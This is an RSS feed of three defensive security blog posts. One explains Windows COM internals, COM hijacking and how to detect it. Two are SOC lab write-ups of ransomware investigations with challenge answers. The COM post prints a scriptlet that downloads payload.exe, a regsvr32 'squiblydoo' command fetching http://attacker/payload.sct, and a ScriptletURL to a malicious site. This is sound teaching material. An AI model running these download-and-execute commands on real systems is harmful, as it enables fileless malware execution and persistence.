<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Makarios Mamdouh on Medium]]></title>
        <description><![CDATA[Stories by Makarios Mamdouh on Medium]]></description>
        <link>https://medium.com/@mkariosmmdoh800?source=rss-ae1ab04ce3ee------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jBi-SGbKAh8EC9GVBtDvKw.jpeg</url>
            <title>Stories by Makarios Mamdouh on Medium</title>
            <link>https://medium.com/@mkariosmmdoh800?source=rss-ae1ab04ce3ee------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:05:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mkariosmmdoh800/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Windows Internals (COM objects)]]></title>
            <link>https://medium.com/@mkariosmmdoh800/com-objects-4fb4ac5c1697?source=rss-ae1ab04ce3ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fb4ac5c1697</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[windows-internals]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[com-objects]]></category>
            <dc:creator><![CDATA[Makarios Mamdouh]]></dc:creator>
            <pubDate>Sun, 15 Mar 2026 09:53:28 GMT</pubDate>
            <atom:updated>2026-03-15T12:57:32.054Z</atom:updated>
            <cc:license>https://creativecommons.org/publicdomain/mark/1.0/</cc:license>
            <content:encoded><![CDATA[<h3>Windows Internals</h3><h4>(COM objects)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWmpwjXWi1NeccTMJbnioQ.png" /></figure><h3>Introduction</h3><p>The Component Object Model (COM) is a core Windows technology that allows software components to interact and reuse functionality. COM can also be abused by attackers for stealthy execution and persistence. This blog explores how COM works, its abuse by malware, and ways to detect COM-based attacks.</p><h3><strong>Table Of Content:</strong></h3><p>1- what is com objects?<br>2- COM architecture.<br>3- COM implementation type.<br>4- What happens in the background when program calls a COM object?<br>5- COM Objects abuse by the attackers.<br>6- What is ScriptLets (.sct) and it’s relation to COM Objects?<br>7- How to detect COM Object Attacks?</p><h3><strong>What is COM objects?</strong></h3><p>It’s a technology made by Microsoft, That allows software components to communicate with each other, even if they are written in different programming languages</p><p>This of it as a standard way for apps t or reuse functionality provided by another program or service</p><p>EX: program can call a COM object to interact with Scheduled task or manipulate files or automate office (ole) this could happen without implement the function itself on the program code but creates a com object that do this function instead.</p><p>COM objects are implemented as client-server model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2lvd6o8_CYIGKvtE.png" /><figcaption>Com client requesting an object from COM server</figcaption></figure><h3><strong>COM Architecture:</strong></h3><p>1- COM object: this is the exposed function that the source program need to use or interact with and it could be a dll or exe, for example:</p><p>a- Shell.Application &gt;&gt; This object provide functions to access windows explorer</p><pre>$shell = New-Object -Comobject Shell.Application<br>$shell.ShellExecute(&quot;notepad.exe&quot;)</pre><p>b- WScript.shell &gt;&gt; This object provides command execution and environment interaction.</p><pre>$shell = New-Object -Comobject WScript.Shell<br>$shell.RUN(&quot;powershell.exe -enc ADFASDFSAHDSKLA---&quot;)</pre><p>c- Schedule.Service &gt;&gt; This object provides access to windows task scheduler</p><pre>$schedule = New-Object -Comobject Schedule.Service<br>$schedule.Connect()</pre><p>2- CLSID (Class ID): the class ID is a unique GUID, as each COM object has a unique CLSID, Windows uses it to differentiate between each class. COM object use it because a Class/COM class can have multiple version of it with the same name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*bx8-kJeSoISEf6OyOcYknA.png" /><figcaption>CLSID</figcaption></figure><p>3- ProgID: A human readable name mapped to CLSID, like the previous COM objects (WScript.shell, Shell.Application, etc.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8hU-UK7NmTDrZNWJ0DnyA.png" /><figcaption>ProgID</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*LoDq6qWWpW0d8R_e4mi1Qw.png" /></figure><p>as it’s in the HKCR hive and refer to the CLSID that have the COM object itself.</p><p>4- Interfaces: These are the functions that the COM object is expose for another</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*PTDbnYZqOAGkZhorneUGrg.png" /><figcaption>COM Interfaces</figcaption></figure><p>In the previous pic it shows the exposed interfaces of the COM objects (WScript.shell), and how I use it to open calc.exe</p><h3><strong>COM Implementation Types:</strong></h3><p>1- In-Process COM server (DLL) — InprocServer32<br>In this implementation method the dll code run within the memory space of the calling program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*NxQ9qXvkwUUvBgGd3WOOAQ.png" /><figcaption>InprocServer32</figcaption></figure><p>In this example the InProcServer32 have a subkey with wuapi.dll, which mean when the program creates (call) this COM object, Windows will loads this dll in the memory space of the requested program</p><p>2- Out-of-Process COM server (EXE) — LocalServer32<br>In this implementation method the COM object runs in a separate process <strong>not inside </strong>the calling program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2TXoYIfvtuUxbd2UHtOOTA.png" /><figcaption>LocalServer32</figcaption></figure><p>so in the previous pic the LocalServer32 have a subkey with winword.exe, which means the program that creates this COM object, The windows will open WINWORD.exe and it will expose it’s interfaces to the caller program through RPC <strong>(Remote Procedure Call).</strong></p><p>the out-of-process COM provides isolation as the com object is run in separate process not load dll like in In-Process COM.</p><h3><strong>What happens in the background when program calls a COM object?</strong></h3><p>1- when program creates (calls or request) from windows to initiate COM object like the following command in PowerShell</p><pre>$shell = New-Object -ComObject wscript.shell</pre><p>Windows will search for the CLSID for WScript.shell in the HKCR registry hive, once find it will check how to initiate the COM object by search for In-Process or Out-of-Process subkey to know how this COM is configured to be implemented (dll or exe).</p><p>2- If it DLL, windows will loads it into the caller program memo space and expose the it’s functions to the caller program</p><p>3- If it’s EXE, windows will register the exe that defined in LocalServer32 sub key as a COM server in memory and it will return the interface to the caller program through RPC</p><p>4- Cleanup: When program releases object the dll or the exe (COM object) will exit when no clients remains.</p><h3><strong>COM Objects abuse by the attackers.</strong></h3><p>In this section we will discuses techniques that used by attackers by abusing COM objects.</p><p>1- COM Hijack: in this technique the attacker modifies the InprocServer32 or LocalServer32 keys to point to malicious Dll or EXE instead of the legitimate one.<br>- Attacker abuse the windows registry search order as while windows searches for COM object it starts searching or query HKCU &gt;&gt; HKLM<br>and while the logged user can modify the HKCU keys it’s allows the attacker to modify the COM objects keys to point to malicious executables.</p><p>2- Registry ProgID Hijack: as mentioned before the ProgID is the human readable ID for the COM Objects, so the attacker could change the CLSID to point to another malicious COM object that the attacker register by itself</p><pre>Original:<br>HKCU\Software\Classes\Word.Application\CLSID = {4321124qrw-rqwrqwerqw-43121421-rqwrqwrqwe-rqerqwrqwe}<br><br>Hijacked:<br>HKCU\Software\Classes\Word.Application\CLSID = {fasfasdfsa-fasdfasdf-fsadfas-fasfasd-fasdfsa-}<br></pre><p>3- TreatAs Hijack: the TreatAs registry key allows one CLSID to redirect to another CLSID</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*6xlWBIvqElREKA3VilOYkQ.png" /></figure><p>4- COM Object Spoofing: in this technique the attacker creates malicious COM dll that implements the same interface as the legitimate COM object<br>which lead to if any program</p><h3><strong>What is ScriptLets (.sct) and it’s relation to COM Objects?</strong></h3><p>ScriptLets are small scripts that used in HTML Structure, But stored as a COM object that Windows can execute it through COM Objects.<br>These scripts could include Jscript or VBscript.</p><pre>&lt;scriptlet&gt;<br>  &lt;registration progid=&quot;Test.Scriptlet&quot; classid=&quot;{BBBB2222-0000-0000-0000-0000BBBB2222}&quot;&gt;<br>  &lt;/registration&gt;<br><br>  &lt;script language=&quot;JScript&quot;&gt;<br>  &lt;![CDATA[<br>    var x = new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;);<br>    x.open(&quot;GET&quot;,&quot;http://example.com/payload.exe&quot;,false);<br>    x.send();<br><br>    var stream = new ActiveXObject(&quot;ADODB.Stream&quot;);<br>    stream.Type = 1;<br>    stream.Open();<br>    stream.Write(x.responseBody);<br>    stream.SaveToFile(&quot;payload.exe&quot;,2);<br>  ]]&gt;<br>  &lt;/script&gt;<br>&lt;/scriptlet&gt;</pre><p>They can executed through <strong>regsvr32.exe</strong> or <strong>PowerShell </strong>or <strong>wscript.exe </strong>or <strong>cscript.exe</strong></p><ul><li>Attackers may use it to make persistence on the machine or connect to C2 server</li><li>I mention it as it’s stored as a COM object in Windows.</li></ul><pre>$script = New-Object -ComObject Scriptlet.TypeLib<br>$script.Run(&quot;C:\Users\Public\Malicious.sct&quot;)</pre><p>Think of ScriptLets as an COM Object like DLL or EXE</p><p><strong>How to detect Malicious usage of ScriptLets?</strong></p><p>1- Check<strong> set value</strong> to the following reg key It can store a <strong>URL that points to a remote ScriptLets (.sct)</strong> which Windows can load and execute through the COM objects.</p><pre>HKEY_USERS\User_SID\ScriptletURL<br>    ScriptletURL = http://malicious-site/payload.sct</pre><pre>                            Application<br>                                 │<br>           CoCreateInstance(CLSID) &gt;&gt; Creates or calls COM <br>                                 │        <br>              COM checks registry for the mentioned CLSID<br>                                 │                <br>          loads scrobj.dll (the engine that executes .sct files)<br>                                 │                        <br>            reads ScriptletURL (The reg key mentioned above)<br>                                 │                                <br>                           downloads SCT<br>                                 │                                       <br>                           execute script</pre><p>2- Usage of <strong>regsvr32.exe </strong>to download .sct file, also the <strong>scrobj.dll</strong> as this DLL is the a legitimate Microsoft Windows library used to register and execute COM ScriptLets.</p><pre>regsvr32 /s /n /u /i:http://attacker/payload.sct scrobj.dll</pre><p>Know that the previous script will be loaded and executed directly into the memory without leave any artifact in the disk (Fileless Malware)</p><p>This type of attacks called (<strong>squiblydoo</strong>)</p><p>you can read more about the previous attack from the below links<br><a href="https://socprime.com/blog/squiblydoo-attack-analysis-detection-and-mitigation/">https://socprime.com/blog/squiblydoo-attack-analysis-detection-and-mitigation/</a><br><a href="https://attack.mitre.org/techniques/T1218/010/">https://attack.mitre.org/techniques/T1218/010/</a></p><p>Because Component Object Model (COM) is deeply integrated into Windows, attackers often abuse it for persistence, stealthy execution, and privilege escalation. Detecting malicious COM activity requires examining multiple artifacts such as the registry, processes, file system, and event logs.</p><p><strong>1- Monitor Suspicious COM Registry Keys</strong></p><p>COM objects are defined in the Windows Registry. Investigating these locations can reveal hijacked or malicious COM objects.</p><ul><li>Check Event ID 4657 (Registry Value was modified)for one of the following Keys, check the value that set on these keys and the location of the dll or the exe file that set in these keys.</li><li>Check the creation time of this dll or exe on disk as if the creation time is new it’s may be suspicious indication</li></ul><p>Important registry paths to review include:</p><p>HKCU\Software\Classes\CLSID\{GUID}<br>HKLM\Software\Classes\CLSID\{GUID}<br>HKCU\Software\Classes\&lt;ProgID&gt;\CLSID<br>HKCR\CLSID\{GUID}\InprocServer32<br>HKCR\CLSID\{GUID}\LocalServer32</p><p>Indicators of compromise may include:</p><ol><li>DLL paths pointing to user directories such as AppData, Temp, or Public<br>,also check the creation time of these dll if it new, this is consider as suspicious.</li><li>Executables referenced in LocalServer32 that are not part of legitimate software</li><li>Suspicious CLSID entries created under HKCU overriding legitimate system COM objects</li><li>The presence of unusual keys such as TreatAs or modified AppID entries</li></ol><p><strong>Since Windows searches the user registry (HKCU) before the system registry (HKLM), attackers frequently register malicious COM objects under the user hive to achieve persistence without administrative privileges.</strong></p><h3><strong>What is DCOM (Distributed Distributed Component Object Model)?</strong></h3><p>before finish i need to mention DCOM, as DCOM provide the same functionality as COM do, but it do it through <strong>network.</strong></p><p>What is that mean?<br>It means that <strong>client computer</strong> could creates or calls COM object on <strong>remote machine,</strong> leverage COM functions on the remote machine.<br>This happen using <strong>RPC (Remote Procedure Call)</strong> &gt;&gt; we can have another talk about RPC.<br>as source app could uses another app functions on rempte machine, and execute remote commands.</p><ul><li>WMI and MMC (Microsoft Management Console) uses <strong>DCOM</strong>.</li></ul><h3><strong>Conclusion</strong></h3><p>COM is a core Windows technology that enables applications and system components to interact through reusable software objects. While it improves modularity and automation within the operating system, attackers can abuse COM mechanisms such as hijacking and scriptlet execution to achieve stealthy persistence and code execution. Therefore, understanding how COM works and monitoring related registry, process, and file activity is essential for detecting and investigating COM-based attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fb4ac5c1697" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[TryHackMe] PS Eclipse]]></title>
            <link>https://medium.com/@mkariosmmdoh800/tryhackme-ps-eclipse-a48debeb93a2?source=rss-ae1ab04ce3ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/a48debeb93a2</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[Makarios Mamdouh]]></dc:creator>
            <pubDate>Mon, 30 Sep 2024 19:15:19 GMT</pubDate>
            <atom:updated>2024-09-30T20:32:25.192Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/r/room/posheclipse">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G85c07Yr6grdsGGI.png" /></figure><p><strong>Scenario</strong>: You are a SOC Analyst for an MSSP (Managed Security Service Provider) company called <strong>TryNotHackMe</strong>.</p><p>A customer sent an email asking for an analyst to investigate the events that occurred on Keegan’s machine on <strong>Monday, May 16th, 2022</strong>. The client noted that <strong>the machine</strong> is operational, but some files have a weird file extension. The client is worried that there was a ransomware attempt on Keegan’s device.</p><p>Your manager has tasked you to check the events in Splunk to determine what occurred in Keegan’s device.</p><p>Happy Hunting!</p><p>Tools: we will use Splunk Which THM provides you can access Splunk instant from the web browser after you connect with OpenVPN to THM network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UUBlvL5nrG0oOkelGgXP5g.png" /><figcaption>Splunk</figcaption></figure><p>after connecting to Splunk, navigate to search &amp; reporting tab to start our investigation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkZ1ou_QK7kbmnMqKsMESA.png" /><figcaption>Data Summary</figcaption></figure><p>go to the data summary to identify your hosts and source and source type that you will use in your search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kvQJYuw35s7Nao800bsfuA.png" /></figure><p>Symon sourcetype is the one we will use in this investigation, Now after identifying our sources let’s start the investigation</p><p><strong>Q1: A suspicious binary was downloaded to the endpoint. What was the name of the binary?</strong></p><p>Search for “Eventcode=3” which will filter for the network connection logs we will find the image field, Click on it you will find the most images (apps) that makes the network connection, the exe file path which is temp makes me suspicious of this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8uVn5AV5lD8GOsrc8ALQQ.png" /></figure><p>For further investigation I found that the powershell image had been executed so I searched for the commands that executed in the PowerShell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHKptQQTr2V5-S9wjcYv4Q.png" /></figure><p>one of the events the PowerShell executes this encoded command, So let’s decode it to see what is this code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rchO2KBmVuJK0tWD7FIQA.png" /></figure><p>Using cyberchief to decode the code, I found that the <strong>OUTSTANDING_GUTTER.exe</strong> was involved in this encoded command, we will discuss what this code does later through the investigation but let now submit the first answer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PwmXLyNHOmZs7G7KyrSz8A.png" /></figure><p><strong>Answer1:</strong></p><pre>OUTSTANDING_GUTTER.exe</pre><p><strong>Q2: What is the address the binary was downloaded from? Add http:// to your answer &amp; defang the URL.</strong></p><p>from the last decoded code we know the that the malicious file was downloaded through this script from the website that shown in the figure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pBk1k4p4Zfg3taPsfKhIxQ.png" /></figure><p>take the website to make defang to it, Using cyberchief</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lJxbtiw3sduyDcriQYv-KA.png" /></figure><p><strong>Answer2:</strong></p><pre>hxxp[://]886e-181-215-214-32[.]ngrok[.]io</pre><p><strong>Q3: What Windows executable was used to download the suspicious binary? Enter full path.</strong></p><p>In the log page where we find the encoded code, we will find the image that executes this code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z6mv5DDqjBYvE-KtOdHqHw.png" /></figure><p><strong>Answer3:</strong></p><pre>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</pre><p><strong>Q4:What command was executed to configure the suspicious binary to run with elevated privileges?</strong></p><p>the decoded script shows that it tries to make the malicious file run in schedule task with <strong>system </strong>privilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Un8HBfejefvEOe1fPmwyzg.png" /></figure><p>The highlight command is the command that the script executes to run the program with system privilege, but we will replace the <strong>SCHTASKS </strong>with the path of the image of schedule task to submit our answer</p><p><strong>Answer4:</strong></p><pre>&quot;C:\Windows\system32\schtasks.exe&quot; /Create /TN OUTSTANDING_GUTTER.exe /TR C:\Windows\Temp\COUTSTANDING_GUTTER.exe /SC ONEVENT /EC Application /MO *[System/EventID=777] /RU SYSTEM /f</pre><p><strong>Q5: What permissions will the suspicious binary run as? What was the command to run the binary with elevated privileges? (Format: User + ; + CommandLine)</strong></p><p>Let’s search for the Schtasks image path to know the command that executes while run the image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHHmIaV_-Lg7xgmpYejaLw.png" /></figure><p>Don’t forget to add the Privilege username which is NT Authority\System</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IRfwnBY7hwEqfbNKgn6rVQ.png" /></figure><p>Anwer5:</p><pre>NT AUTHORITY\SYSTEM;&quot;C:\Windows\system32\schtasks.exe&quot; /Run /TN OUTSTANDING_GUTTER.exe</pre><p><strong>Q6:The suspicious binary connected to a remote server. What address did it connect to? Add http:// to your answer &amp; defang the URL.</strong></p><p>search for {dns “OUTSTANDING_GUTTER.exe”} to filter only the DNS queries that the malicious file makes, Don’t forget to defang the url</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*042EnabxKkCPHUURg-7ctg.png" /></figure><p><strong>Answer6:</strong></p><pre>hxxp[://]9030-181-215-214-32[.]ngrok[.]io</pre><p><strong>Q7:A PowerShell script was downloaded to the same location as the suspicious binary. What was the name of the file?</strong></p><p>The query for “*.ps1” you will find <strong>script.ps1 </strong>this script is located in a temp file as the malicious file was downloa</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dE6mgMN1T1NzKTtK1YUAnA.png" /></figure><p><strong>Answer7:</strong></p><pre>script.ps1</pre><p><strong>Q8: The malicious script was flagged as malicious. What do you think was the actual name of the malicious script?</strong></p><p>First event have the md5 for the script.ps1 file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v0GD3IFl2gVyjitoqP6E2A.png" /></figure><p>Search it on Virustotal you will find it’s real name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLrwG5AzrGq3RoCtZeR-Qw.png" /></figure><p>Answer8:</p><pre>BlackSun.ps1</pre><p><strong>Q9:A ransomware note was saved to disk, which can serve as an IOC. What is the full path to which the ransom note was saved?</strong></p><p>Query for “*.txt” to filter to the text files only you will find the name of the ransom note and it’s path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uB465RjW-lzRAalGgDnivA.png" /></figure><p><strong>Answer9:</strong></p><pre>C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt</pre><p><strong>Q10: The script saved an image file to disk to replace the user’s desktop wallpaper, which can also serve as an IOC. What is the full path of the image?</strong></p><p>Like what we did for the last question, Search for blacksun or search with the extension like (.jpg, .png)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1Vfa6_jGSUP6-1kvyHWzA.png" /></figure><p><strong>Answer10:</strong></p><pre>C:\Users\Public\Pictures\blacksun.jpg</pre><p>Now We have finished this investigation, Thanks for your time feel free to contact me for any questions</p><p>LinkedIn: <a href="https://www.linkedin.com/in/makarios-mamdoh/">https://www.linkedin.com/in/makarios-mamdoh/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a48debeb93a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[LetsDefend Write-up] Ransomware Attack]]></title>
            <link>https://medium.com/@mkariosmmdoh800/ransomware-attack-writeup-on-letsdefend-b705caee5885?source=rss-ae1ab04ce3ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/b705caee5885</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ransomware-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[letsdefendio]]></category>
            <dc:creator><![CDATA[Makarios Mamdouh]]></dc:creator>
            <pubDate>Fri, 20 Sep 2024 09:18:41 GMT</pubDate>
            <atom:updated>2024-09-20T13:47:14.951Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://app.letsdefend.io/challenge/ransomware-attack">Challenge - LetsDefend</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*_39xRAHu6xuXBCGi.png" /></figure><p>Hello everyone, In this write-up, we will talk about ransomware that infected one of the machines. We have extracted the memory dump from the compromised machine.<br>so let’s start.</p><p>Tools: In this lab, we will use Reline from FileEye as provided in the lab to make our analysis and investigation.<br>You could use Volatility also if you like.</p><p><a href="https://fireeye.market/apps/211364">Redline | FireEye Market</a></p><p>This is the zipped file extract the memory dump from it to be ready for analysis, Then open it using <strong>RedLine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LM-ydX_gUESkPoCDtgjOVw.png" /><figcaption>Memory Dump of the compromised machine</figcaption></figure><p>In the yellow section, We have the memory dump information that we will use to make our investigation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v_ehgjB9AU54TJS1mjAVVA.png" /><figcaption>RedLine</figcaption></figure><p><strong>Q1: Please find the dropped dll, including the whole path including the dll file</strong></p><p>First, I would like to take a look at the process running in the system, Moving to Processes tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vrEGMv-qA36U3hNBMsJKw.png" /><figcaption>Running Processes</figcaption></figure><p>While looking at the processes, I found that this process <strong>MSMPENG.exe</strong> is running from the Temp folder which is a red flag</p><p><strong>MSMPENG.exe </strong>is the core process for<strong> Microsoft Defender Antivirus</strong> (previously known as Windows Defender), which is the built-in antivirus and anti-malware software in Windows.</p><p><strong>But it not should executed or found in temp folder</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mKIdNpgOfNYvMrKH2MuSug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q0yKTWEKSi-JhcU59xTi-A.png" /></figure><p>Search for the MSMPENG.exe in the imports tab to know what dll that this executable use.<br>The presence of mpsvc.dll and ServiceCrtMain associated with MsMpEng.exe in the <strong>Temp folder</strong> is highly suspicious. Normally, these files and services are part of <strong>Windows Defender</strong>, but they should not be running from the <strong>Temp</strong> directory.</p><p><strong>Answer 1:</strong></p><pre>c:\users\charles\appdata\local\temp\mpsvc.dll</pre><p><strong>Q2: What is the MD5 hash for the dll?</strong></p><p>Searching with <strong>MSMPENG.exe</strong> in timeline tab to get the information about the <strong>mpsvc.dll </strong>that used by the <strong>MSMPENG.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SOeuSWi3kGosERFwwAFVaA.png" /></figure><p>open the <strong>MpVc.dll </strong>to show it’s data you will find it’s MD5 hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jq8Y5t-NFQk7bIms-5i62w.png" /></figure><p><strong>Answer 2:</strong></p><pre>040818b1b3c9b1bf8245f5bcb4eebbbc</pre><p><strong>Q3:What is the name of the ransomware note that got dropped?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9oIh8-ArDUFqT1WWayx-w.png" /><figcaption>NotePad.exe</figcaption></figure><p>While searching on the running processes I found that the user open note may be the ransomware note so let’s check it out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7C5ONfFwMryr8ejnoolJSA.png" /><figcaption>Ransomware Note</figcaption></figure><p>I search by the note name on the Strings tab, After reading the note now I made sure that this was the ransomware note</p><p><strong>Answer 3:</strong></p><pre> 2s6lc-readme.txt</pre><p><strong>Q4: What is the URL that the initial payload was downloaded from? (Include the whole URL with the payload)</strong></p><p>When I searched for the <strong>MSMPENG.exe</strong> in the timeline I found that <strong>Lsass.exe</strong> file had been downloaded before the <strong>MSMPENG.exe, </strong>so the <strong>lsass </strong>is the first file that the user downloads</p><p><strong>LSASS.EXE</strong> (Local Security Authority Subsystem Service) is a critical process in the Windows operating system responsible for enforcing security policies and managing user logins. It plays a vital role in Windows security, authentication, and access control.</p><p>so found it downloaded by the user it’s a red flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIngvThumMOQz8oHCIIPpw.png" /></figure><p><strong>Answer 4:</strong></p><pre>http://192.168.75.129:8111/Documents/lsass</pre><p><strong>Q5:The ransomware drops the copy of the legitimate application into the Temp folder. Please provide the filename including the extension</strong></p><p>In timeline we know that Lsass is the first malicious file that downloaded, so by tracking lsass.exe we found that it dropped copy of the legitimate application in the temp folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-rbw-Qm-c8mFur-zmnuygQ.png" /></figure><p><strong>Answer 5:</strong></p><pre>MSMPENG.exe</pre><p><strong>Q6: What is the name of the ransomware?</strong></p><p>We already have the MD5 hash of the MpVc.dll, Search for it in virustotal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6pAxfQrGmF6xBErcccA9gg.png" /></figure><p><strong>Answer 6:</strong></p><pre>sodinokibi</pre><p>Now We have finished this investigation, Thanks for your time feel free to contact me for any questions</p><p>LinkedIn: <a href="https://www.linkedin.com/in/makarios-mamdoh/">https://www.linkedin.com/in/makarios-mamdoh/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b705caee5885" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>